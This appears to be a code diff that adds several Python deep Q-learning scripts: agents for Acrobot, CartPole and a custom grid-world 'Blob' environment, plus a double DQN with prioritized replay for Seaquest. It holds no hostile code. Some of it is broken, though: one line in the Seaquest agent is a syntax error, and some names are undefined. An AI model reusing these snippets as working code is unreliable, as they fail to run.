+            if episode % RENDER_EVERY == 0:
+                env.render()
+            
+            # add transition to agent's memory
+            agent.remember(current_state, action, reward, next_state, done)
+            if step % LEARN_EVERY == 0:
+                agent.replay(batch_size=batch_size)
+            current_state = next_state
+            step += 1
+
+            if done:
+                agent.update_target_model()
+                break
+        
+        ep_rewards.append(episode_reward)
+        avg_reward = np.mean(ep_rewards)
+        min_reward = min(ep_rewards)
+        max_reward = max(ep_rewards)
+        
+        avg_rewards.append(avg_reward)
+        min_rewards.append(min_reward)
+        max_rewards.append(max_reward)
+        print(f"[{episode}] avg:{avg_reward:.2f} min:{min_reward} max:{max_reward} eps:{agent.epsilon:.4f}")
+        # if episode % SHOW_EVERY == 0:
+            # print(f"[{episode}] avg: {avg_reward} min: {min_reward} max: {max_reward} eps: {agent.epsilon:.4f}")
+    
+    episodes = list(range(EPISODES))
+    plt.plot(episodes, avg_rewards, c='b')
+    plt.plot(episodes, min_rewards, c='r')
+    plt.plot(episodes, max_rewards, c='g')
+    plt.show()
+    agent.save("blob_v1.h5")
+
+
+
+
+import os
+# to use CPU uncomment below code
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+import random
+import gym
+import numpy as np
+import matplotlib.pyplot as plt
+from collections import deque
+from keras.models import Sequential
+from keras.layers import Dense
+from keras.optimizers import Adam
+
+
+EPISODES = 5_000
+REPLAY_MEMORY_MAX = 2_000
+
+SHOW_EVERY = 500
+RENDER_EVERY = 1_000
+
+class DQNAgent:
+    def __init__(self, state_size, action_size):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.memory = deque(maxlen=REPLAY_MEMORY_MAX)
+        # discount rate
+        self.gamma = 0.95
+        # exploration rate
+        self.epsilon = 1.0
+        self.epsilon_min = 0.01
+        self.epsilon_decay = 0.9997
+        self.learning_rate = 0.001
+        # models to be built
+        # Dual
+        self.model = self.build_model()
+        self.target_model = self.build_model()
+        self.update_target_model()
+
+    def build_model(self):
+        """Builds the DQN Model"""
+        # Neural network for Deep-Q Learning Model
+        model = Sequential()
+        model.add(Dense(32, input_dim=self.state_size, activation="relu"))
+        model.add(Dense(32, activation="relu"))
+        # output layer
+        model.add(Dense(self.action_size, activation="linear"))
+        model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate))
+        return model
+
+    def update_target_model(self):
+        """Copy weights from self.model to self.target_model"""
+        self.target_model.set_weights(self.model.get_weights())
+    
+    def remember(self, state, action, reward, next_state, done):
+        """Adds a sample to the memory"""
+        self.memory.append((state, action, reward, next_state, done))
+
+    def act(self, state):
+        """Takes action using Epsilon-Greedy Policy"""
+        if np.random.random() <= self.epsilon:
+            return random.randint(0, self.action_size-1)
+        else:
+            act_values = self.model.predict(state)
+            # print("act_values:", act_values.shape)
+            return np.argmax(act_values[0])
+
+    def replay(self, batch_size):
+        """Train on a replay memory with a batch_size of samples"""
+        minibatch = random.sample(self.memory, batch_size)
+        for state, action, reward, next_state, done in minibatch:
+            target = reward
+            if not done:
+                target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) )
+            target_f = self.model.predict(state)
+            target_f[0][action] = target
+            self.model.fit(state, target_f, epochs=1, verbose=0)
+        # decay epsilon if possible
+        self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min)
+
+    def load(self, name):
+        self.model.load_weights(name)
+        self.target_model.load_weights(name)
+
+    def save(self, name):
+        self.model.save_weights(name)
+        self.target_model.save_weights(name)
+
+    
+if __name__ == "__main__":
+    env = gym.make("Acrobot-v1")
+    state_size = env.observation_space.shape[0]
+    action_size = env.action_space.n
+    agent = DQNAgent(state_size=state_size, action_size=action_size)
+    # agent.load("AcroBot_v1.h5")
+    done = False
+    batch_size = 32
+
+    all_rewards = deque(maxlen=SHOW_EVERY)
+    avg_rewards = []
+    
+    for e in range(EPISODES):
+        state = env.reset()
+        state = np.reshape(state, (1, state_size))
+        rewards = 0
+        while True:
+            action = agent.act(state)
+            # print(action)
+            next_state, reward, done, info = env.step(action)
+            # punish if not yet finished
+            # reward = reward if not done else 10
+            next_state = np.reshape(next_state, (1, state_size))
+            agent.remember(state, action, reward, next_state, done)
+            state = next_state
+            if done:
+                agent.update_target_model()
+                break
+            if e % RENDER_EVERY == 0:
+                env.render()
+            rewards += reward
+            # print(rewards)
+        all_rewards.append(rewards)
+        avg_reward = np.mean(all_rewards)
+        avg_rewards.append(avg_reward)
+        if e % SHOW_EVERY == 0:
+            print(f"[{e:4}] avg reward:{avg_reward:.3f} eps: {agent.epsilon:.2f}")
+        if len(agent.memory) > batch_size:
+            agent.replay(batch_size)
+            
+    agent.save("AcroBot_v1.h5")
+    plt.plot(list(range(EPISODES)), avg_rewards)
+    plt.show()
+
+
+
+
+import os
+# to use CPU uncomment below code
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+import random
+import gym
+import numpy as np
+import matplotlib.pyplot as plt
+from collections import deque
+from keras.models import Sequential
+from keras.layers import Dense
+from keras.optimizers import Adam
+
+
+EPISODES = 1000
+REPLAY_MEMORY_MAX = 5000
+
+SHOW_EVERY = 100
+
+class DQNAgent:
+    def __init__(self, state_size, action_size):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.memory = deque(maxlen=REPLAY_MEMORY_MAX)
+        # discount rate
+        self.gamma = 0.95
+        # exploration rate
+        self.epsilon = 1.0
+        self.epsilon_min = 0.01
+        self.epsilon_decay = 0.995
+        self.learning_rate = 0.001
+        # model to be built
+        self.model = None
+        self.build_model()
+
+    def build_model(self):
+        """Builds the DQN Model"""
+        # Neural network for Deep-Q Learning Model
+        model = Sequential()
+        model.add(Dense(24, input_dim=self.state_size, activation="relu"))
+        model.add(Dense(24, activation="relu"))
+        # output layer
+        model.add(Dense(self.action_size, activation="linear"))
+        model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate))
+        self.model = model
+
+    def remember(self, state, action, reward, next_state, done):
+        """Adds a sample to the memory"""
+        self.memory.append((state, action, reward, next_state, done))
+
+    def act(self, state):
+        """Takes action using Epsilon-Greedy Policy"""
+        if np.random.random() <= self.epsilon:
+            return random.randint(0, self.action_size-1)
+        else:
+            act_values = self.model.predict(state)
+            # print("act_values:", act_values.shape)
+            return np.argmax(act_values[0])
+
+    def replay(self, batch_size):
+        """Train on a replay memory with a batch_size of samples"""
+        minibatch = random.sample(self.memory, batch_size)
+        for state, action, reward, next_state, done in minibatch:
+            target = reward
+            if not done:
+                target = ( reward + self.gamma * np.max(self.model.predict(next_state)[0]) )
+            target_f = self.model.predict(state)
+            target_f[0][action] = target
+            self.model.fit(state, target_f, epochs=1, verbose=0)
+        # decay epsilon if possible
+        self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min)
+
+    def load(self, name):
+        self.model.load_weights(name)
+
+    def save(self, name):
+        self.model.save_weights(name)
+
+    
+if __name__ == "__main__":
+    env = gym.make("CartPole-v1")
+    state_size = env.observation_space.shape[0]
+    action_size = env.action_space.n
+    agent = DQNAgent(state_size=state_size, action_size=action_size)
+
+    done = False
+    batch_size = 32
+
+    scores = []
+    avg_scores = []
+    avg_score = 0
+    for e in range(EPISODES):
+        state = env.reset()
+        state = np.reshape(state, (1, state_size))
+        
+        for t in range(500):
+            action = agent.act(state)
+            # print(action)
+            next_state, reward, done, info = env.step(action)
+            # punish if not yet finished
+            reward = reward if not done else -10
+            next_state = np.reshape(next_state, (1, state_size))
+            agent.remember(state, action, reward, next_state, done)
+            state = next_state
+            if done:
+                print(f"[{e:4}] avg score:{avg_score:.3f} eps: {agent.epsilon:.2f}")
+                break
+            if e % SHOW_EVERY == 0:
+                env.render()
+        if len(agent.memory) > batch_size:
+            agent.replay(batch_size)
+        scores.append(t)
+        
+        avg_score = np.average(scores)
+        avg_scores.append(avg_score)
+            
+    agent.save("v1.h5")
+    plt.plot(list(range(EPISODES)), avg_scores)
+    plt.show()
+
+
+
+
+import numpy as np
+import keras.backend.tensorflow_backend as backend
+from keras.models import Sequential
+from keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Activation, Flatten, LSTM
+from keras.optimizers import Adam
+from keras.callbacks import TensorBoard
+import tensorflow as tf
+from collections import deque
+import time
+import random
+from tqdm import tqdm
+import os
+from PIL import Image
+import cv2
+import itertools
+
+
+DISCOUNT = 0.96
+REPLAY_MEMORY_SIZE = 50_000  # How many last steps to keep for model training
+MIN_REPLAY_MEMORY_SIZE = 1_000  # Minimum number of steps in a memory to start training
+MINIBATCH_SIZE = 32  # How many steps (samples) to use for training
+UPDATE_TARGET_EVERY = 5  # Terminal states (end of episodes)
+MODEL_NAME = '3x128-LSTM-7enemies-'
+MIN_REWARD = -200  # For model save
+MEMORY_FRACTION = 0.20
+
+# Environment settings
+EPISODES = 50_000
+
+# Exploration settings
+epsilon = 1.0  # not a constant, going to be decayed
+EPSILON_DECAY = 0.999771
+MIN_EPSILON = 0.01
+
+#  Stats settings
+AGGREGATE_STATS_EVERY = 100  # episodes
+SHOW_PREVIEW = False
+
+
+class Blob:
+    def __init__(self, size):
+        self.size = size
+        self.x = np.random.randint(0, size)
+        self.y = np.random.randint(0, size)
+
+    def __str__(self):
+        return f"Blob ({self.x}, {self.y})"
+
+    def __sub__(self, other):
+        return (self.x-other.x, self.y-other.y)
+
+    def __eq__(self, other):
+        return self.x == other.x and self.y == other.y
+
+    def action(self, choice):
+        '''
+        Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8)
+        '''
+        if choice == 0:
+            self.move(x=1, y=0)
+        elif choice == 1:
+            self.move(x=-1, y=0)
+        elif choice == 2:
+            self.move(x=0, y=1)
+        elif choice == 3:
+            self.move(x=0, y=-1)
+
+
+    def move(self, x=False, y=False):
+
+        # If no value for x, move randomly
+        if x is False:
+            self.x += np.random.randint(-1, 2)
+        else:
+            self.x += x
+
+        # If no value for y, move randomly
+        if y is False:
+            self.y += np.random.randint(-1, 2)
+        else:
+            self.y += y
+
+        # If we are out of bounds, fix!
+        if self.x < 0:
+            self.x = 0
+        elif self.x > self.size-1:
+            self.x = self.size-1
+        if self.y < 0:
+            self.y = 0
+        elif self.y > self.size-1:
+            self.y = self.size-1
+
+
+class BlobEnv:
+    SIZE = 20
+    RETURN_IMAGES = False
+    MOVE_PENALTY = 1
+    ENEMY_PENALTY = 300
+    FOOD_REWARD = 25
+    # if RETURN_IMAGES:
+    #     OBSERVATION_SPACE_VALUES = (SIZE, SIZE, 3)  # 4
+    # else:
+    #     OBSERVATION_SPACE_VALUES = (4,)
+    ACTION_SPACE_SIZE = 4
+    PLAYER_N = 1  # player key in dict
+    FOOD_N = 2  # food key in dict
+    ENEMY_N = 3  # enemy key in dict
+    # the dict! (colors)
+    d = {1: (255, 175, 0),
+         2: (0, 255, 0),
+         3: (0, 0, 255)}
+
+    def __init__(self, n_enemies=7):
+        self.n_enemies = n_enemies
+        self.n_states = len(self.reset())
+
+    def reset(self):
+        self.enemies = []
+        self.player = Blob(self.SIZE)
+        self.food = Blob(self.SIZE)
+        while self.food == self.player:
+            self.food = Blob(self.SIZE)
+        for i in range(self.n_enemies):
+            enemy = Blob(self.SIZE)
+            while enemy == self.player or enemy == self.food:
+                enemy = Blob(self.SIZE)
+            self.enemies.append(enemy)
+
+        self.episode_step = 0
+
+        if self.RETURN_IMAGES:
+            observation = np.array(self.get_image())
+        else:
+            # all blob's coordinates
+            observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies]))
+        return observation
+
+    def step(self, action):
+        self.episode_step += 1
+        self.player.action(action)
+
+        #### MAYBE ###
+        #enemy.move()
+        #food.move()
+        ##############
+
+        if self.RETURN_IMAGES:
+            new_observation = np.array(self.get_image())
+        else:
+            new_observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies]))
+
+        # set the reward to move penalty by default
+        reward = -self.MOVE_PENALTY
+
+        if self.player == self.food:
+            # if the player hits the food, good reward
+            reward = self.FOOD_REWARD
+        else:
+            for enemy in self.enemies:
+                if enemy == self.player:
+                    # if the player hits one of the enemies, heavy punishment
+                    reward = -self.ENEMY_PENALTY
+                    break
+
+        done = False
+        if reward == self.FOOD_REWARD or reward == -self.ENEMY_PENALTY or self.episode_step >= 200:
+            done = True
+        return new_observation, reward, done
+
+    def render(self):
+        img = self.get_image()
+        img = img.resize((300, 300))  # resizing so we can see our agent in all its glory.
+        cv2.imshow("image", np.array(img))  # show it!
+        cv2.waitKey(1)
+
+    # FOR CNN #
+    def get_image(self):
+        env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8)  # starts an rbg of our size
+        env[self.food.x][self.food.y] = self.d[self.FOOD_N]  # sets the food location tile to green color
+        for enemy in self.enemies:
+            env[enemy.x][enemy.y] = self.d[ENEMY_N]  # sets the enemy location to red
+        env[self.player.x][self.player.y] = self.d[self.PLAYER_N]  # sets the player tile to blue
+        img = Image.fromarray(env, 'RGB')  # reading to rgb. Apparently. Even tho color definitions are bgr. ???
+        return img
+
+
+env = BlobEnv()
+
+# For stats
+ep_rewards = [-200]
+
+# For more repetitive results
+random.seed(1)
+np.random.seed(1)
+tf.set_random_seed(1)
+
+# Memory fraction, used mostly when trai8ning multiple agents
+#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=MEMORY_FRACTION)
+#backend.set_session(tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)))
+
+# Create models folder
+if not os.path.isdir('models'):
+    os.makedirs('models')
+
+
+# Own Tensorboard class
+class ModifiedTensorBoard(TensorBoard):
+
+    # Overriding init to set initial step and writer (we want one log file for all .fit() calls)
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        self.step = 1
+        self.writer = tf.summary.FileWriter(self.log_dir)
+
+    # Overriding this method to stop creating default log writer
+    def set_model(self, model):
+        pass
+
+    # Overrided, saves logs with our step number
+    # (otherwise every .fit() will start writing from 0th step)
+    def on_epoch_end(self, epoch, logs=None):
+        self.update_stats(**logs)
+
+    # Overrided
+    # We train for one batch only, no need to save anything at epoch end
+    def on_batch_end(self, batch, logs=None):
+        pass
+
+    # Overrided, so won't close writer
+    def on_train_end(self, _):
+        pass
+
+    # Custom method for saving own metrics
+    # Creates writer, writes custom metrics and closes writer
+    def update_stats(self, **stats):
+        self._write_logs(stats, self.step)
+
+
+# Agent class
+class DQNAgent:
+    def __init__(self, state_in_image=True):
+
+        self.state_in_image = state_in_image
+
+        # Main model
+        self.model = self.create_model()
+
+        # Target network
+        self.target_model = self.create_model()
+        self.target_model.set_weights(self.model.get_weights())
+
+        # An array with last n steps for training
+        self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE)
+
+        # Custom tensorboard object
+        self.tensorboard = ModifiedTensorBoard(log_dir="logs/{}-{}".format(MODEL_NAME, int(time.time())))
+
+        # Used to count when to update target network with main network's weights
+        self.target_update_counter = 0
+
+    def create_model(self):
+        # get the NN input length
+        model = Sequential()
+        if self.state_in_image:
+            model.add(Conv2D(256, (3, 3), input_shape=env.OBSERVATION_SPACE_VALUES))  # OBSERVATION_SPACE_VALUES = (10, 10, 3) a 10x10 RGB image.
+            model.add(Activation('relu'))
+            model.add(MaxPooling2D(pool_size=(2, 2)))
+            model.add(Dropout(0.2))
+
+            model.add(Conv2D(256, (3, 3)))
+            model.add(Activation('relu'))
+            model.add(MaxPooling2D(pool_size=(2, 2)))
+            model.add(Dropout(0.2))
+
+            model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors
+            model.add(Dense(32))
+        else:
+            # model.add(Dense(32, activation="relu", input_shape=(env.n_states,)))
+            # model.add(Dense(32, activation="relu"))
+            # model.add(Dropout(0.2))
+            # model.add(Dense(32, activation="relu"))
+            # model.add(Dropout(0.2))
+            model.add(LSTM(128, activation="relu", input_shape=(None, env.n_states,), return_sequences=True))
+            model.add(Dropout(0.3))
+            model.add(LSTM(128, activation="relu", return_sequences=True))
+            model.add(Dropout(0.3))
+            model.add(LSTM(128, activation="relu", return_sequences=False))
+            model.add(Dropout(0.3))
+
+        model.add(Dense(env.ACTION_SPACE_SIZE, activation='linear'))  # ACTION_SPACE_SIZE = how many choices (9)
+        model.compile(loss="mse", optimizer=Adam(lr=0.001), metrics=['accuracy'])
+        return model
+
+    # Adds step's data to a memory replay array
+    # (observation space, action, reward, new observation space, done)
+    def update_replay_memory(self, transition):
+        self.replay_memory.append(transition)
+
+    # Trains main network every step during episode
+    def train(self, terminal_state, step):
+
+        # Start training only if certain number of samples is already saved
+        if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE:
+            return
+
+        # Get a minibatch of random samples from memory replay table
+        minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE)
+
+        # Get current states from minibatch, then query NN model for Q values
+        if self.state_in_image:
+            current_states = np.array([transition[0] for transition in minibatch])/255
+        else:
+            current_states = np.array([transition[0] for transition in minibatch])
+        current_qs_list = self.model.predict(np.expand_dims(current_states, axis=1))
+
+        # Get future states from minibatch, then query NN model for Q values
+        # When using target network, query it, otherwise main network should be queried
+        if self.state_in_image:
+            new_current_states = np.array([transition[3] for transition in minibatch])/255
+        else:
+            new_current_states = np.array([transition[3] for transition in minibatch])
+        future_qs_list = self.target_model.predict(np.expand_dims(new_current_states, axis=1))
+
+        X = []
+        y = []
+
+        # Now we need to enumerate our batches
+        for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch):
+
+            # If not a terminal state, get new q from future states, otherwise set it to 0
+            # almost like with Q Learning, but we use just part of equation here
+            if not done:
+                max_future_q = np.max(future_qs_list[index])
+                new_q = reward + DISCOUNT * max_future_q
+            else:
+                new_q = reward
+
+            # Update Q value for given state
+            current_qs = current_qs_list[index]
+            current_qs[action] = new_q
+
+            # And append to our training data
+            X.append(current_state)
+            y.append(current_qs)
+
+        # Fit on all samples as one batch, log only on terminal state
+        if self.state_in_image:
+            self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)
+        else:
+            # self.model.fit(np.array(X), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)
+            self.model.fit(np.expand_dims(X, axis=1), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)
+
+
+        # Update target network counter every episode
+        if terminal_state:
+            self.target_update_counter += 1
+
+        # If counter reaches set value, update target network with weights of main network
+        if self.target_update_counter > UPDATE_TARGET_EVERY:
+            self.target_model.set_weights(self.model.get_weights())
+            self.target_update_counter = 0
+
+    # Queries main network for Q values given current observation space (environment state)
+    def get_qs(self, state):
+        if self.state_in_image:
+            return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0]
+        else:
+            # return self.model.predict(np.array(state).reshape(1, env.n_states))[0]
+            return self.model.predict(np.array(state).reshape(1, 1, env.n_states))[0]
+
+
+agent = DQNAgent(state_in_image=False)
+print("Number of states:", env.n_states)
+# agent.model.load_weights("models/2x32____22.00max___-2.44avg_-200.00min__1563463022.model")
+# Iterate over episodes
+for episode in tqdm(range(1, EPISODES + 1), ascii=True, unit='episodes'):
+
+    # Update tensorboard step every episode
+    agent.tensorboard.step = episode
+
+    # Restarting episode - reset episode reward and step number
+    episode_reward = 0
+    step = 1
+
+    # Reset environment and get initial state
+    current_state = env.reset()
+
+    # Reset flag and start iterating until episode ends
+    done = False
+    while not done:
+
+        # This part stays mostly the same, the change is to query a model for Q values
+        if np.random.random() > epsilon:
+            # Get action from Q table
+            action = np.argmax(agent.get_qs(current_state))
+        else:
+            # Get random action
+            action = np.random.randint(0, env.ACTION_SPACE_SIZE)
+
+        new_state, reward, done = env.step(action)
+
+        # Transform new continous state to new discrete state and count reward
+        episode_reward += reward
+
+        if SHOW_PREVIEW and not episode % AGGREGATE_STATS_EVERY:
+            env.render()
+
+        # Every step we update replay memory and train main network
+        agent.update_replay_memory((current_state, action, reward, new_state, done))
+        agent.train(done, step)
+
+        current_state = new_state
+        step += 1
+
+    # Append episode reward to a list and log stats (every given number of episodes)
+    ep_rewards.append(episode_reward)
+    if not episode % AGGREGATE_STATS_EVERY or episode == 1:
+        average_reward = sum(ep_rewards[-AGGREGATE_STATS_EVERY:])/len(ep_rewards[-AGGREGATE_STATS_EVERY:])
+        min_reward = min(ep_rewards[-AGGREGATE_STATS_EVERY:])
+        max_reward = max(ep_rewards[-AGGREGATE_STATS_EVERY:])
+        agent.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward, epsilon=epsilon)
+
+        # Save model, but only when min reward is greater or equal a set value
+        if average_reward >= -220:
+            agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model')
+
+    # Decay epsilon
+    if epsilon > MIN_EPSILON:
+        epsilon *= EPSILON_DECAY
+        epsilon = max(MIN_EPSILON, epsilon)
+    
+agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model')
+
+
+
+
+# OpenGym Seaquest-v0
+# -------------------
+#
+# This code demonstrates a Double DQN network with Priority Experience Replay
+# in an OpenGym Seaquest-v0 environment.
+#
+# Made as part of blog series Let's make a DQN, available at: 
+# https://jaromiru.com/2016/11/07/lets-make-a-dqn-double-learning-and-prioritized-experience-replay/
+# 
+# author: Jaromir Janisch, 2016
+
+import matplotlib
+import random, numpy, math, gym, scipy
+import tensorflow as tf
+import time
+from SumTree import SumTree
+from keras.callbacks import TensorBoard
+from collections import deque
+import tqdm
+
+IMAGE_WIDTH = 84
+IMAGE_HEIGHT = 84
+IMAGE_STACK = 2
+
+HUBER_LOSS_DELTA = 2.0
+LEARNING_RATE = 0.00045
+
+
+#-------------------- Modified Tensorboard -----------------------
+class RLTensorBoard(TensorBoard):
+
+    def __init__(self, **kwargs):
+        """
+        Overriding init to set initial step and writer (one log file for multiple .fit() calls)
+        """
+        super().__init__(**kwargs)
+        self.step = 1
+        self.writer = tf.summary.FileWriter(self.log_dir)
+
+    def set_model(self, model):
+        """
+        Overriding this method to stop creating default log writer
+        """
+        pass
+
+    def on_epoch_end(self, epoch, logs=None):
+        """
+        Overrided, saves logs with our step number
+        (if this is not overrided, every .fit() call will start from 0th step)
+        """
+        self.update_stats(**logs)
+
+    def on_batch_end(self, batch, logs=None):
+        """
+        Overrided, we train for one batch only, no need to save anything on batch end
+        """
+        pass
+
+    def on_train_end(self, _):
+        """
+        Overrided, we don't close the writer
+        """
+        pass
+
+    def update_stats(self, **stats):
+        """
+        Custom method for saving own metrics
+        Creates writer, writes custom metrics and closes writer
+        """
+        self._write_logs(stats, self.step)
+
+#-------------------- UTILITIES -----------------------
+def huber_loss(y_true, y_pred):
+    err = y_true - y_pred
+
+    cond = K.abs(err) < HUBER_LOSS_DELTA
+    L2 = 0.5 * K.square(err)
+    L1 = HUBER_LOSS_DELTA * (K.abs(err) - 0.5 * HUBER_LOSS_DELTA)
+
+    loss = tf.where(cond, L2, L1)   # Keras does not cover where function in tensorflow :-(
+
+    return K.mean(loss)
+
+def processImage( img ):
+    rgb = scipy.misc.imresize(img, (IMAGE_WIDTH, IMAGE_HEIGHT), interp='bilinear')
+
+    r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2]
+    gray = 0.2989 * r + 0.5870 * g + 0.1140 * b     # extract luminance
+
+    o = gray.astype('float32') / 128 - 1    # normalize
+    return o
+
+#-------------------- BRAIN ---------------------------
+from keras.models import Sequential
+from keras.layers import *
+from keras.optimizers import *
+
+model_name = "conv2dx3"
+
+class Brain:
+    def __init__(self, stateCnt, actionCnt):
+        self.stateCnt = stateCnt
+        self.actionCnt = actionCnt
+
+        self.model = self._createModel()
+        self.model_ = self._createModel()  # target network
+        # custom tensorboard
+        self.tensorboard = RLTensorBoard(log_dir="logs/{}-{}".format(model_name, int(time.time())))
+
+    def _createModel(self):
+        model = Sequential()
+
+        model.add(Conv2D(32, (8, 8), strides=(4,4), activation='relu', input_shape=(self.stateCnt), data_format='channels_first'))
+        model.add(Conv2D(64, (4, 4), strides=(2,2), activation='relu'))
+        model.add(Conv2D(64, (3, 3), activation='relu'))
+        model.add(Flatten())
+        model.add(Dense(units=512, activation='relu'))
+
+        model.add(Dense(units=actionCnt, activation='linear'))
+
+        opt = RMSprop(lr=LEARNING_RATE)
+        model.compile(loss=huber_loss, optimizer=opt)
+
+        return model
+
+    def train(self, x, y, epochs=1, verbose=0):
+        self.model.fit(x, y, batch_size=32, epochs=epochs, verbose=verbose, callbacks=[self.tensorboard])
+
+    def predict(self, s, target=False):
+        if target:
+            return self.model_.predict(s)
+        else:
+            return self.model.predict(s)
+
+    def predictOne(self, s, target=False):
+        return self.predict(s.reshape(1, IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT), target).flatten()
+
+    def updateTargetModel(self):
+        self.model_.set_weights(self.model.get_weights())
+
+#-------------------- MEMORY --------------------------
+class Memory:   # stored as ( s, a, r, s_ ) in SumTree
+    e = 0.01
+    a = 0.6
+
+    def __init__(self, capacity):
+        self.tree = SumTree(capacity)
+
+    def _getPriority(self, error):
+        return (error + self.e) ** self.a
+
+    def add(self, error, sample):
+        p = self._getPriority(error)
+        self.tree.add(p, sample) 
+
+    def sample(self, n):
+        batch = []
+        segment = self.tree.total() / n
+
+        for i in range(n):
+            a = segment * i
+            b = segment * (i + 1)
+
+            s = random.uniform(a, b)
+            (idx, p, data) = self.tree.get(s)
+            batch.append( (idx, data) )
+
+        return batch
+
+    def update(self, idx, error):
+        p = self._getPriority(error)
+        self.tree.update(idx, p)
+
+#-------------------- AGENT ---------------------------
+MEMORY_CAPACITY = 50_000
+
+BATCH_SIZE = 32
+
+GAMMA = 0.95
+
+MAX_EPSILON = 1
+MIN_EPSILON = 0.05
+
+EXPLORATION_STOP = 500_000   # at this step epsilon will be 0.01
+LAMBDA = - math.log(0.01) / EXPLORATION_STOP  # speed of decay
+
+UPDATE_TARGET_FREQUENCY = 10_000
+UPDATE_STATS_EVERY = 5
+RENDER_EVERY = 50
+
+class Agent:
+    steps = 0
+    epsilon = MAX_EPSILON
+
+    def __init__(self, stateCnt, actionCnt, brain):
+        self.stateCnt = stateCnt
+        self.actionCnt = actionCnt
+
+        self.brain = brain
+        # self.memory = Memory(MEMORY_CAPACITY)
+        
+    def act(self, s):
+        if random.random() < self.epsilon:
+            return random.randint(0, self.actionCnt-1)
+        else:
+            return numpy.argmax(self.brain.predictOne(s))
+
+    def observe(self, sample):  # in (s, a, r, s_) format
+        x, y, errors = self._getTargets([(0, sample)])
+        self.memory.add(errors[0], sample)
+
+        if self.steps % UPDATE_TARGET_FREQUENCY == 0:
+            self.brain.updateTargetModel()
+
+        # slowly decrease Epsilon based on our eperience
+        self.steps += 1
+        self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps)
+
+    def _getTargets(self, batch):
+        no_state = numpy.zeros(self.stateCnt)
+
+        states = numpy.array([ o[1][0] for o in batch ])
+        states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ])
+
+        p = agent.brain.predict(states)
+
+        p_ = agent.brain.predict(states_, target=False)
+        pTarget_ = agent.brain.predict(states_, target=True)
+
+        x = numpy.zeros((len(batch), IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT))
+        y = numpy.zeros((len(batch), self.actionCnt))
+        errors = numpy.zeros(len(batch))
+        
+        for i in range(len(batch)):
+            o = batch[i][1]
+            s = o[0] a = o[1] r = o[2] s_ = o[3]
+            
+            t = p[i]
+            oldVal = t[a]
+            if s_ is None:
+                t[a] = r
+            else:
+                t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ]  # double DQN
+
+            x[i] = s
+            y[i] = t
+            errors[i] = abs(oldVal - t[a])
+
+        return (x, y, errors)
+
+    def replay(self):    
+        batch = self.memory.sample(BATCH_SIZE)
+        x, y, errors = self._getTargets(batch)
+
+        # update errors
+        for i in range(len(batch)):
+            idx = batch[i][0]
+            self.memory.update(idx, errors[i])
+
+        self.brain.train(x, y)
+
+class RandomAgent:
+    memory = Memory(MEMORY_CAPACITY)
+    exp = 0
+    epsilon = MAX_EPSILON
+
+    def __init__(self, actionCnt, brain):
+        self.actionCnt = actionCnt
+        self.brain = brain
+
+    def act(self, s):
+        return random.randint(0, self.actionCnt-1)
+
+    def observe(self, sample):  # in (s, a, r, s_) format
+        error = abs(sample[2])  # reward
+        self.memory.add(error, sample)
+        self.exp += 1
+
+    def replay(self):
+        pass
+
+#-------------------- ENVIRONMENT ---------------------
+class Environment:
+    def __init__(self, problem):
+        self.problem = problem
+        self.env = gym.make(problem)
+        self.ep_rewards = deque(maxlen=UPDATE_STATS_EVERY)
+
+    def run(self, agent, step):                
+        img = self.env.reset()
+        w = processImage(img)
+        s = numpy.array([w, w])
+        agent.brain.tensorboard.step = step
+        R = 0
+        while True:
+            if step % RENDER_EVERY == 0:
+                self.env.render()
+            a = agent.act(s)
+
